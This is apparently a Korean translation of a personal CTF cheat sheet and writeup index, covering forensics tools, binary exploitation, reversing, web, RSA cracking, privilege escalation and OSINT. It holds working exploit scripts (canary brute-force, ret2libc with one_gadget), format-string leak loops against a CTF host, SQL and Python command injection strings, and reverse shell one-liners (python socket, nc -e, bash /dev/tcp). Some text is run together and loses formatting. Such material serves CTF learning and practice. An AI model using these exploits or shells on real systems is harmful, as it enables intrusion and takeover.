
내가 수행한 일부 보안 CTF에 대한 CTF 치트 시트 + Writeups / 파일들
제가 참여한 사이버 CTF 문제들에 대한 라이트업/파일들입니다.
CTF 자료 목록과 다양한 일반적인 CTF 문제를 다루는 포괄적인 치트 시트도 포함되어 있습니다.
[!NOTE] 이 저장소의 웹 미러가 hackback.zip에 있습니다.
제가 정리한 일부 슬라이드: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf에서 접속 가능합니다.file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>팩스 기계 오디오:
SSTV (슬로우 스캔 TV) 오디오 (달 관련)

스펙트로그램 이미지
피치, 속도, 방향 변경...
DTMF (듀얼 톤 다중 주파수) 전화 키
multimon-ng -a DTMF -t wav <file.wav>
카세트 테이프
모스 부호
photorec <file.bin>.img 파일 마운트:
binwalk -M --dd=".*" <fileName>file을 실행하고 Linux 파일 시스템 파일을 선택합니다.losetup /dev/loop<freeLoopNumber> <fileSystemFile>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive()로 이를 처리합니다.pwn cyclic <numChars>로 페이로드 생성dmesg | tail | grep segfault로 오류 위치 확인pwn cyclic -l 0x<errorLocation>로 명령 포인터를 제어하기 위한 랜덤 오프셋 확인ROPgadget --ropchain --binary <binary>
gs 또는 fs(각각 32비트 및 64비트)에서 가져옵니다.
- 여기서, 스택 카나리는 offset +8에서 `rax`로 이동됩니다.
- 따라서, 다음 offset에서 중단하고 rax의 값을 확인하여 (`i r rax`) 현재 카나리가 무엇인지 확인합니다
**정적 카나리**
- 카나리는 프로그래머가 수동으로 구현한 경우(일부 입문 pwn 챌린지의 경우) 또는 프로그램을 포크할 수 있는 경우에만 정적입니다.
- 바이너리를 포크하면 포크된 프로세스가 동일한 카나리를 가지므로, 바이트 단위로 브루트포스할 수 있습니다.
**추가**
- 스택 카나리가 부적절하게 덮어쓰여지면 `__stack_chk_fail` 호출이 발생합니다.
- 카나리를 누출할 수 없는 경우, GOT 테이블을 수정하여 호출을 방지할 수도 있습니다.
- 카나리는 현재 스택의 `TLS` 구조에 저장되며 `security_init`에 의해 초기화됩니다.
- 실제 카나리 값을 덮어쓸 수 있다면, 오버플로우하기로 결정한 값과 동일하게 설정할 수 있습니다.
- 정적 4바이트 카나리를 브루트포스하는 간단한 스크립트:```python
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
%1$s - 스택의 첫 번째 값(버퍼 바로 옆에 있는 값)을 문자열로 출력합니다.%2$s - 두 번째 값을 문자열로 출력하며, 이런 식으로 계속 사용합니다.for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx는 1바이트 유출 (int 크기의 절반의 절반)%hx는 2바이트 유출 (int 크기의 절반)%x는 4바이트 유출 (int 크기)%lx는 8바이트 유출 (long 크기)EIP를 덮어써서 system() 라이브러리 함수를 호출하고, 실행할 인자(이 예제에서는 "/bin/sh"를 담은 버퍼)를 전달합니다.
좋은 설명:
좋은 예제 (3:22:44로 이동):
execve("/bin/sh")의 주소 구하기:
one_gadget <libc 파일>이미 libc 파일과 위치를 알고 있다면(즉, 유출할 필요가 없다면...)```python #!/bin/python3
from pwn import * import os
binaryName = 'ret2libc1'
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
printf_libc = l.sym['printf']
libc_base_address = printf_loc - printf_libc
offset = 0x17
payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)
p.sendline(payload)
p.interactive()
## 리버스 엔지니어링
> 유용한 가이드: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- 매우 유용한 디컴파일러
- dotPeek 또는 dnSpy
- .NET 실행 파일 디컴파일
- [jadx](https://github.com/skylot/jadx) 및 jadx-gui
- APK 디컴파일
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- 자바 온라인 디컴파일
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- 고급 터미널 기반 자바 디컴파일러
- apktool
- APK 디컴파일
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- 바이너리 분석
- [peda](https://github.com/longld/peda) (기능 향상을 위한 확장)
- [gef](https://github.com/hugsy/gef) (pwners를 위한 gdb 확장)
- [radare2](https://github.com/radareorg/radare2)
- 바이너리 분석
- [FLOSS](https://github.com/mandiant/flare-floss)
- 강화된 `strings`. 정적 분석을 사용하여 문자열을 찾고 계산합니다.
#### SMT 솔버
- [angr](https://github.com/angr/angr) (python)
- [Docs](https://docs.angr.io/core-concepts/toplevel)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### 바이트 단위 검사 리버싱 (사이드 채널 공격)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- 다음은 시간 기반 공격을 사용하는 문제를 위해 제가 만든 버전입니다:
- 무작위성을 고려하여 몇 번 실행해야 할 수도 있습니다.
```python
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1337))
data = b""
for i in range(10000):
# print(i)
data += b"a"
# send data byte by byte
s.send(data + b"\n")
start = time.time()
response = s.recv(1024)
end = time.time()
delta = end-start
# print(delta)
if b"Incorrect" in response:
if delta > 0.05: # if time is greater than 0.05 seconds, we found a correct byte
print(f"Found byte: {i}, delta: {delta}")
else:
print(f"Flag: {response}")
break
``````python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <문자열>을 실행하면 gef가 자동으로 검색 패턴과 일치하는 문자열을 보여줍니다.wpscan --url <사이트> --plugins-detection mixed -e를 API 키와 함께 사용하세요.echo <토큰> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <URL>'OR 1=1--를 입력합니다.ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs를 사용하세요.cipherText = "" plainText = "" flagCipherText = "" tableFile = ""
with open(cipherText) as fin: cipher = fin.readline().rstrip()
with open(plainText) as fin: plain = fin.readline().rstrip()
with open(flagCipherText) as fin: flag = fin.readline().rstrip()
with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break
print(key)
dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break
print(dec_flag)
- [Substitution Cipher](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Keyed Caesars cipher](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### RSA
#### pycryptodome으로 RSA 정보 가져오기```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
숫자 n을 인수분해할 수 있을 때 사용하십시오
이전```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = q = e = c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
- 신규```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
보통 지수가 매우 작을 때 사용됩니다 (e <= 5)
if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1
c = e =
plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))
#### Pollard 공격 (n,e,c)
- [Pollard의 인수분해 방법](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf)에 기반하며, 이 방법은 소수의 곱이 (B)스무스(smooth)하면 [쉽게 인수분해](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf)될 수 있도록 합니다.
- 이는 `p-1 | B!`이고 `q-1`이 `B`보다 큰 인수를 가질 때 해당됩니다.```python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
n = e = c =
d = owiener.attack(e, n) m = pow(c, d, n)
flag = long_to_bytes(m) print(flag)
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## Box
### 연결
- ssh
- `ssh <username>@<ip>`
- `ssh <username>@<ip> -i <private key file>`
- SSH를 로컬 파일 시스템으로 마운트:
- `sshfs -p <port> <user>@<ip>: <mount_directory>`
- 알려진 호스트
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
- `nc <ip> <port>`
### 열거
- 머신 발견
- `netdiscover`
- 머신 포트 스캔
- `nmap -sC -sV <ip>`
- Linux 열거
- `enum4linux <ip>`
- SMB 열거
- `smbmap -H <ip>`
- SMB 공유 연결
- `smbclient //<ip>/<share>`
### 권한 상승
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- 자동으로 권한 상승 벡터 검색
- 루트로 실행 가능한 명령 목록
- `sudo -l`
- SUID 권한이 있는 파일 찾기
- `find / -perm -u=s -type f 2>/dev/null`
- 이 파일들은 실행 사용자 대신 소유자의 권한으로 실행됨
- 모든 서비스에 대한 권한 확인
- `accesschk.exe -uwcqv *`
- System 또는 Administrator 계정이 아닌 서비스 찾기
- 서비스 쿼리
- `sc qc <service name>`
- cmd.exe에서만 작동
### 리버스 셸 수신 대기
- `nc -lnvp <port>`
### 리버스 셸
- revshells.com
- 필요한 거의 모든 템플릿 제공
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`
### 대화형 셸 얻기
#### Linux
1. 다음 python 명령을 실행하여 부분적으로 대화형으로 만듦: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. `CTRL+Z`로 netcat 세션 종료 후 로컬에서 `stty raw -echo` 실행
3. `fg` 명령어로 세션 재진입 (필요 시 작업 ID 추가)
4. `export TERM=xterm`으로 터미널 에뮬레이터를 xterm으로 변경 (필수 아님)
5. `export SHELL=bash`로 셸을 bash로 변경 (필수 아님)
6. 완료! 이제 셸이 완전히 대화형이 됩니다.
#### Windows / 일반
1. 시스템에 `rlwrap` 설치
2. 이제 nc 리스너를 실행할 때마다 앞에 `rlwrap`을 붙임
3. 예: `rlwrap nc -lvnp 1337`
* 화살표 키와 명령 내역을 제공하지만, Windows와 *nix 시스템에서 자동 완성은 지원하지 않는 것으로 보임
## OSINT
- [pimeyes](https://pimeyes.com/en)
- 인터넷에서 얼굴 역검색
- [OSINT Framework](https://osintframework.com/)
- 다양한 OSINT 도구를 모아놓은 웹사이트
- [GeoSpy AI](https://geospy.ai)
- 이미지로 위치를 추정할 수 있는 지리공간 시각 LLM
- [overpass turbo](https://overpass-turbo.eu)
- OpenStreetMap API를 쿼리하고 결과를 시각화하는 웹사이트
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
- OSM API를 쉽게 쿼리할 수 있는 웹사이트
## 기타
- DNS 오류 해결
- `dig <site> <recordType>`
- [레코드 유형 목록](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- TXT도 시도해 볼 것
- 다른 아키텍처로 바이너리 실행
- 64비트:
- `linux64 ./<binary>`
- 32비트:
- `linux32 ./<binary>`
- MS 매크로 추출:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- CNC GCode 보기
- [https://ncviewer.com/](https://ncviewer.com/)
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''로 평가됩니다.1=1은 true로 평가되어 OR 문을 충족시키며, 나머지 쿼리는 --에 의해 주석 처리됩니다.__import__.('subprocess').getoutput('<명령어>')
__import__.('subprocess').getoutput('ls').split('\\n')